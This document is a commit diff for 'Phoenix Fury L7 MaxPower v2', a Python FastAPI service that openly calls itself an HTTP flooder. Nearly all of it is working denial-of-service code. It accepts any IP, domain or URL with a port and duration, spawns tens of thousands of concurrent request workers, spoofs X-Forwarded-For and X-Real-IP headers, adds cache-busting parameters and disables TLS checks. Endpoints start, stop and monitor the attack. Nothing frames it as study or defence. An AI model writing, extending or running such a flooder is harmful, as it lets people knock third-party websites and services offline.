Update phoenix_fury.py
Browse files- phoenix_fury.py +124 -80
phoenix_fury.py
CHANGED
|
@@ -1,15 +1,16 @@
|
|
| 1 |
-
from fastapi import FastAPI, HTTPException, Body # <-- ADD Body import
|
| 2 |
-
from pydantic import BaseModel, Field
|
| 3 |
import asyncio
|
| 4 |
import random
|
| 5 |
import socket
|
| 6 |
import ssl
|
| 7 |
import time
|
| 8 |
import psutil
|
|
|
|
|
|
|
|
|
|
| 9 |
import aiohttp
|
| 10 |
from aiohttp import ClientTimeout, TCPConnector
|
| 11 |
|
| 12 |
-
# Try
|
| 13 |
try:
|
| 14 |
import uvloop
|
| 15 |
asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
|
|
@@ -17,31 +18,26 @@ except ImportError:
|
|
| 17 |
pass
|
| 18 |
|
| 19 |
app = FastAPI(
|
| 20 |
-
title="🔥 Phoenix Fury L7 MaxPower",
|
| 21 |
-
description="
|
| 22 |
-
version="
|
| 23 |
)
|
| 24 |
|
| 25 |
# ======================
|
| 26 |
-
#
|
| 27 |
# ======================
|
| 28 |
CPU_CORES = psutil.cpu_count(logical=True) or 8
|
| 29 |
-
TOTAL_CONCURRENCY = CPU_CORES * 4096 # ~32k tasks
|
| 30 |
-
REQUEST_TIMEOUT = 3
|
| 31 |
-
BATCH_SIZE = 10_000
|
| 32 |
|
| 33 |
-
#
|
| 34 |
USER_AGENTS = [
|
| 35 |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
|
| 36 |
-
"Mozilla/5.0 (X11; Linux x86_64)
|
| 37 |
-
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
|
| 38 |
-
]
|
| 39 |
-
REFERERS = [
|
| 40 |
-
"https://www.google.com/",
|
| 41 |
-
"https://www.bing.com/",
|
| 42 |
-
"https://www.facebook.com/",
|
| 43 |
-
"https://www.twitter.com/"
|
| 44 |
]
|
|
|
|
| 45 |
|
| 46 |
def spoof_headers() -> Dict[str, str]:
|
| 47 |
ip = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
|
|
@@ -50,11 +46,8 @@ def spoof_headers() -> Dict[str, str]:
|
|
| 50 |
"Referer": random.choice(REFERERS),
|
| 51 |
"X-Forwarded-For": ip,
|
| 52 |
"X-Real-IP": ip,
|
| 53 |
-
"Accept": "
|
| 54 |
-
"
|
| 55 |
-
"Accept-Encoding": "gzip, deflate",
|
| 56 |
-
"Connection": "keep-alive",
|
| 57 |
-
"Cache-Control": "max-age=0"
|
| 58 |
}
|
| 59 |
|
| 60 |
# ======================
|
|
@@ -63,7 +56,7 @@ def spoof_headers() -> Dict[str, str]:
|
|
| 63 |
class AttackState:
|
| 64 |
def __init__(self):
|
| 65 |
self.active = False
|
| 66 |
-
self.
|
| 67 |
self.start_time = 0
|
| 68 |
self.total_requests = 0
|
| 69 |
self.current_rps = 0
|
|
@@ -73,18 +66,38 @@ class AttackState:
|
|
| 73 |
STATE = AttackState()
|
| 74 |
|
| 75 |
# ======================
|
| 76 |
-
#
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 77 |
# ======================
|
| 78 |
async def flood_worker(url: str, session: aiohttp.ClientSession):
|
| 79 |
local_count = 0
|
| 80 |
while STATE.active:
|
| 81 |
try:
|
| 82 |
-
|
| 83 |
-
|
| 84 |
-
|
| 85 |
-
pass # Don't wait for body; just send & forget
|
| 86 |
except:
|
| 87 |
-
pass
|
| 88 |
local_count += 1
|
| 89 |
if local_count >= BATCH_SIZE:
|
| 90 |
STATE.total_requests += local_count
|
|
@@ -92,9 +105,6 @@ async def flood_worker(url: str, session: aiohttp.ClientSession):
|
|
| 92 |
if local_count > 0:
|
| 93 |
STATE.total_requests += local_count
|
| 94 |
|
| 95 |
-
# ======================
|
| 96 |
-
# RPS CALCULATOR
|
| 97 |
-
# ======================
|
| 98 |
async def rps_monitor():
|
| 99 |
while STATE.active:
|
| 100 |
await asyncio.sleep(1)
|
|
@@ -107,63 +117,99 @@ async def rps_monitor():
|
|
| 107 |
STATE.last_time = now
|
| 108 |
|
| 109 |
# ======================
|
| 110 |
-
# ATTACK
|
| 111 |
# ======================
|
| 112 |
-
|
| 113 |
-
async def start_attack(
|
| 114 |
-
target: str = Body(..., description="Full URL: http://target.com or https://target.com")
|
| 115 |
-
):
|
| 116 |
-
if STATE.active:
|
| 117 |
-
raise HTTPException(409, "Attack already running")
|
| 118 |
-
|
| 119 |
-
if not target.startswith(("http://", "https://")):
|
| 120 |
-
raise HTTPException(400, "Target must start with http:// or https://")
|
| 121 |
-
|
| 122 |
-
# Resolve to IP to avoid DNS lookup per request
|
| 123 |
-
try:
|
| 124 |
-
hostname = target.split("://")[1].split("/")[0].split(":")[0]
|
| 125 |
-
ip = socket.gethostbyname(hostname)
|
| 126 |
-
# Reconstruct URL with IP to bypass DNS
|
| 127 |
-
protocol = "https" if target.startswith("https") else "http"
|
| 128 |
-
port_part = ":" + target.split("://")[1].split("/")[0].split(":")[1] if ":" in target.split("://")[1].split("/")[0] else ""
|
| 129 |
-
resolved_url = f"{protocol}://{ip}{port_part}/"
|
| 130 |
-
except Exception as e:
|
| 131 |
-
raise HTTPException(400, f"Failed to resolve target: {e}")
|
| 132 |
-
|
| 133 |
STATE.active = True
|
| 134 |
-
STATE.
|
| 135 |
STATE.start_time = time.time()
|
| 136 |
STATE.total_requests = 0
|
| 137 |
STATE.current_rps = 0
|
| 138 |
STATE.last_count = 0
|
| 139 |
STATE.last_time = time.time()
|
| 140 |
|
| 141 |
-
print(f"🚀
|
| 142 |
-
print(f" Concurrency: {TOTAL_CONCURRENCY} | Timeout: {REQUEST_TIMEOUT}s")
|
| 143 |
|
| 144 |
-
# Configure session
|
| 145 |
ssl_ctx = ssl.create_default_context()
|
| 146 |
ssl_ctx.check_hostname = False
|
| 147 |
ssl_ctx.verify_mode = ssl.CERT_NONE
|
| 148 |
-
connector = TCPConnector(
|
| 149 |
-
limit=0, # No limit on connections
|
| 150 |
-
limit_per_host=0,
|
| 151 |
-
force_close=True,
|
| 152 |
-
keepalive_timeout=0,
|
| 153 |
-
enable_cleanup_closed=True
|
| 154 |
-
)
|
| 155 |
timeout = ClientTimeout(total=REQUEST_TIMEOUT, connect=1, sock_read=2)
|
| 156 |
|
| 157 |
-
async
|
| 158 |
-
|
| 159 |
-
|
| 160 |
-
await asyncio.gather(*tasks, return_exceptions=True)
|
| 161 |
|
| 162 |
-
|
| 163 |
-
asyncio.
|
| 164 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 165 |
|
| 166 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 167 |
|
| 168 |
@app.post("/stop")
|
| 169 |
async def stop_attack():
|
|
@@ -171,13 +217,11 @@ async def stop_attack():
|
|
| 171 |
return {"status": "idle"}
|
| 172 |
STATE.active = False
|
| 173 |
elapsed = time.time() - STATE.start_time
|
| 174 |
-
avg_rps = STATE.total_requests / elapsed if elapsed > 0 else 0
|
| 175 |
-
print(f"✅ ATTACK STOPPED | Total: {STATE.total_requests:,} | Avg RPS: {avg_rps:,.0f}")
|
| 176 |
return {
|
| 177 |
"status": "stopped",
|
| 178 |
"total_requests": STATE.total_requests,
|
| 179 |
"elapsed_sec": round(elapsed, 2),
|
| 180 |
-
"avg_rps": round(
|
| 181 |
}
|
| 182 |
|
| 183 |
@app.get("/status")
|
|
@@ -185,7 +229,7 @@ async def get_status():
|
|
| 185 |
elapsed = time.time() - STATE.start_time if STATE.active else 0
|
| 186 |
return {
|
| 187 |
"active": STATE.active,
|
| 188 |
-
"
|
| 189 |
"elapsed_sec": round(elapsed, 2),
|
| 190 |
"total_requests": STATE.total_requests,
|
| 191 |
"current_rps": round(STATE.current_rps, 2),
|
|
@@ -195,4 +239,4 @@ async def get_status():
|
|
| 195 |
|
| 196 |
@app.get("/")
|
| 197 |
async def root():
|
| 198 |
-
return {"message": "🔥 Phoenix Fury L7 MaxPower — /start to begin"}
|
|
|
|
|
|
|
|
|
|
| 1 |
import asyncio
|
| 2 |
import random
|
| 3 |
import socket
|
| 4 |
import ssl
|
| 5 |
import time
|
| 6 |
import psutil
|
| 7 |
+
from typing import Dict
|
| 8 |
+
from fastapi import FastAPI, HTTPException, BackgroundTasks
|
| 9 |
+
from pydantic import BaseModel, Field, validator
|
| 10 |
import aiohttp
|
| 11 |
from aiohttp import ClientTimeout, TCPConnector
|
| 12 |
|
| 13 |
+
# Try uvloop for performance
|
| 14 |
try:
|
| 15 |
import uvloop
|
| 16 |
asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
|
|
|
|
| 18 |
pass
|
| 19 |
|
| 20 |
app = FastAPI(
|
| 21 |
+
title="🔥 Phoenix Fury L7 MaxPower v2",
|
| 22 |
+
description="MAX-POWER HTTP FLOODER — IP, DOMAIN, URL, PORT, DURATION SUPPORTED",
|
| 23 |
+
version="2.0"
|
| 24 |
)
|
| 25 |
|
| 26 |
# ======================
|
| 27 |
+
# AUTO-TUNED FOR 8-CORE, 32GB RAM
|
| 28 |
# ======================
|
| 29 |
CPU_CORES = psutil.cpu_count(logical=True) or 8
|
| 30 |
+
TOTAL_CONCURRENCY = CPU_CORES * 4096 # ~32k concurrent tasks
|
| 31 |
+
REQUEST_TIMEOUT = 3
|
| 32 |
+
BATCH_SIZE = 10_000
|
| 33 |
|
| 34 |
+
# Spoof headers
|
| 35 |
USER_AGENTS = [
|
| 36 |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
|
| 37 |
+
"Mozilla/5.0 (X11; Linux x86_64)",
|
| 38 |
+
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 39 |
]
|
| 40 |
+
REFERERS = ["https://www.google.com/", "https://www.bing.com/"]
|
| 41 |
|
| 42 |
def spoof_headers() -> Dict[str, str]:
|
| 43 |
ip = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
|
|
|
|
| 46 |
"Referer": random.choice(REFERERS),
|
| 47 |
"X-Forwarded-For": ip,
|
| 48 |
"X-Real-IP": ip,
|
| 49 |
+
"Accept": "*/*",
|
| 50 |
+
"Connection": "close"
|
|
|
|
|
|
|
|
|
|
| 51 |
}
|
| 52 |
|
| 53 |
# ======================
|
|
|
|
| 56 |
class AttackState:
|
| 57 |
def __init__(self):
|
| 58 |
self.active = False
|
| 59 |
+
self.target_url = ""
|
| 60 |
self.start_time = 0
|
| 61 |
self.total_requests = 0
|
| 62 |
self.current_rps = 0
|
|
|
|
| 66 |
STATE = AttackState()
|
| 67 |
|
| 68 |
# ======================
|
| 69 |
+
# PYDANTIC INPUT MODEL
|
| 70 |
+
# ======================
|
| 71 |
+
class AttackConfig(BaseModel):
|
| 72 |
+
target: str = Field(..., description="IP, domain (example.com), or full URL (http://...)")
|
| 73 |
+
port: int = Field(None, ge=1, le=65535, description="Optional port. Default: 80 (HTTP) or 443 (HTTPS)")
|
| 74 |
+
duration: int = Field(60, ge=10, le=3600, description="Attack duration in seconds (10–3600)")
|
| 75 |
+
|
| 76 |
+
@validator('target')
|
| 77 |
+
def validate_target(cls, v):
|
| 78 |
+
v = v.strip()
|
| 79 |
+
if not v:
|
| 80 |
+
raise ValueError("Target cannot be empty")
|
| 81 |
+
# Allow IPs, domains, or URLs
|
| 82 |
+
if v.startswith(('http://', 'https://')):
|
| 83 |
+
return v
|
| 84 |
+
# It's a domain or IP — we'll build URL later
|
| 85 |
+
if ':' in v and not v.replace('.', '').replace(':', '').isdigit():
|
| 86 |
+
raise ValueError("Invalid target format")
|
| 87 |
+
return v
|
| 88 |
+
|
| 89 |
+
# ======================
|
| 90 |
+
# WORKER & MONITOR
|
| 91 |
# ======================
|
| 92 |
async def flood_worker(url: str, session: aiohttp.ClientSession):
|
| 93 |
local_count = 0
|
| 94 |
while STATE.active:
|
| 95 |
try:
|
| 96 |
+
final_url = f"{url}?_={random.randint(10**8, 10**9 - 1)}"
|
| 97 |
+
async with session.get(final_url, headers=spoof_headers(), timeout=REQUEST_TIMEOUT):
|
| 98 |
+
pass
|
|
|
|
| 99 |
except:
|
| 100 |
+
pass
|
| 101 |
local_count += 1
|
| 102 |
if local_count >= BATCH_SIZE:
|
| 103 |
STATE.total_requests += local_count
|
|
|
|
| 105 |
if local_count > 0:
|
| 106 |
STATE.total_requests += local_count
|
| 107 |
|
|
|
|
|
|
|
|
|
|
| 108 |
async def rps_monitor():
|
| 109 |
while STATE.active:
|
| 110 |
await asyncio.sleep(1)
|
|
|
|
| 117 |
STATE.last_time = now
|
| 118 |
|
| 119 |
# ======================
|
| 120 |
+
# ATTACK CONTROL
|
| 121 |
# ======================
|
| 122 |
+
async def run_attack(url: str, duration: int):
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 123 |
STATE.active = True
|
| 124 |
+
STATE.target_url = url
|
| 125 |
STATE.start_time = time.time()
|
| 126 |
STATE.total_requests = 0
|
| 127 |
STATE.current_rps = 0
|
| 128 |
STATE.last_count = 0
|
| 129 |
STATE.last_time = time.time()
|
| 130 |
|
| 131 |
+
print(f"🚀 FLOOD STARTED: {url} | Duration: {duration}s | Concurrency: {TOTAL_CONCURRENCY}")
|
|
|
|
| 132 |
|
|
|
|
| 133 |
ssl_ctx = ssl.create_default_context()
|
| 134 |
ssl_ctx.check_hostname = False
|
| 135 |
ssl_ctx.verify_mode = ssl.CERT_NONE
|
| 136 |
+
connector = TCPConnector(limit=0, limit_per_host=0, force_close=True)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 137 |
timeout = ClientTimeout(total=REQUEST_TIMEOUT, connect=1, sock_read=2)
|
| 138 |
|
| 139 |
+
async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
|
| 140 |
+
tasks = [flood_worker(url, session) for _ in range(TOTAL_CONCURRENCY)]
|
| 141 |
+
await asyncio.gather(*tasks, return_exceptions=True)
|
|
|
|
| 142 |
|
| 143 |
+
async def stop_after(duration: int):
|
| 144 |
+
await asyncio.sleep(duration)
|
| 145 |
+
if STATE.active:
|
| 146 |
+
STATE.active = False
|
| 147 |
+
elapsed = time.time() - STATE.start_time
|
| 148 |
+
avg_rps = STATE.total_requests / elapsed if elapsed > 0 else 0
|
| 149 |
+
print(f"✅ AUTO-STOP: {STATE.total_requests:,} requests | Avg RPS: {avg_rps:,.0f}")
|
| 150 |
+
|
| 151 |
+
def normalize_url(target: str, port: int = None) -> str:
|
| 152 |
+
# Case 1: full URL
|
| 153 |
+
if target.startswith(('http://', 'https://')):
|
| 154 |
+
# Extract host and rebuild with IP
|
| 155 |
+
from urllib.parse import urlparse
|
| 156 |
+
parsed = urlparse(target)
|
| 157 |
+
hostname = parsed.hostname or parsed.path.split('/')[0]
|
| 158 |
+
if not hostname:
|
| 159 |
+
raise ValueError("Invalid URL")
|
| 160 |
+
try:
|
| 161 |
+
ip = socket.gethostbyname(hostname)
|
| 162 |
+
except Exception as e:
|
| 163 |
+
raise ValueError(f"DNS resolve failed: {e}")
|
| 164 |
+
scheme = parsed.scheme
|
| 165 |
+
# Rebuild path
|
| 166 |
+
path = parsed.path or '/'
|
| 167 |
+
if port is None:
|
| 168 |
+
port = parsed.port or (443 if scheme == 'https' else 80)
|
| 169 |
+
return f"{scheme}://{ip}:{port}{path}"
|
| 170 |
+
|
| 171 |
+
# Case 2: plain domain or IP
|
| 172 |
+
# Detect if it's an IP or domain
|
| 173 |
+
try:
|
| 174 |
+
socket.inet_aton(target)
|
| 175 |
+
is_ip = True
|
| 176 |
+
except:
|
| 177 |
+
is_ip = False
|
| 178 |
+
|
| 179 |
+
# Auto-choose protocol
|
| 180 |
+
if port == 443 or (port is None and is_ip):
|
| 181 |
+
scheme = 'https'
|
| 182 |
+
actual_port = port or 443
|
| 183 |
+
else:
|
| 184 |
+
scheme = 'http'
|
| 185 |
+
actual_port = port or 80
|
| 186 |
+
|
| 187 |
+
resolved_host = target if is_ip else socket.gethostbyname(target)
|
| 188 |
+
return f"{scheme}://{resolved_host}:{actual_port}/"
|
| 189 |
+
|
| 190 |
+
# ======================
|
| 191 |
+
# API ENDPOINTS
|
| 192 |
+
# ======================
|
| 193 |
+
@app.post("/start")
|
| 194 |
+
async def start_attack(config: AttackConfig, background_tasks: BackgroundTasks):
|
| 195 |
+
if STATE.active:
|
| 196 |
+
raise HTTPException(409, "Attack already in progress")
|
| 197 |
|
| 198 |
+
try:
|
| 199 |
+
normalized_url = normalize_url(config.target, config.port)
|
| 200 |
+
except Exception as e:
|
| 201 |
+
raise HTTPException(400, f"Target resolution error: {e}")
|
| 202 |
+
|
| 203 |
+
background_tasks.add_task(run_attack, normalized_url, config.duration)
|
| 204 |
+
background_tasks.add_task(stop_after, config.duration)
|
| 205 |
+
|
| 206 |
+
return {
|
| 207 |
+
"status": "started",
|
| 208 |
+
"target": config.target,
|
| 209 |
+
"resolved_url": normalized_url,
|
| 210 |
+
"duration_sec": config.duration,
|
| 211 |
+
"concurrency": TOTAL_CONCURRENCY
|
| 212 |
+
}
|
| 213 |
|
| 214 |
@app.post("/stop")
|
| 215 |
async def stop_attack():
|
|
|
|
| 217 |
return {"status": "idle"}
|
| 218 |
STATE.active = False
|
| 219 |
elapsed = time.time() - STATE.start_time
|
|
|
|
|
|
|
| 220 |
return {
|
| 221 |
"status": "stopped",
|
| 222 |
"total_requests": STATE.total_requests,
|
| 223 |
"elapsed_sec": round(elapsed, 2),
|
| 224 |
+
"avg_rps": round(STATE.total_requests / elapsed, 2) if elapsed > 0 else 0
|
| 225 |
}
|
| 226 |
|
| 227 |
@app.get("/status")
|
|
|
|
| 229 |
elapsed = time.time() - STATE.start_time if STATE.active else 0
|
| 230 |
return {
|
| 231 |
"active": STATE.active,
|
| 232 |
+
"target_url": STATE.target_url,
|
| 233 |
"elapsed_sec": round(elapsed, 2),
|
| 234 |
"total_requests": STATE.total_requests,
|
| 235 |
"current_rps": round(STATE.current_rps, 2),
|
|
|
|
| 239 |
|
| 240 |
@app.get("/")
|
| 241 |
async def root():
|
| 242 |
+
return {"message": "🔥 Phoenix Fury L7 MaxPower v2 — POST /start to begin"}
|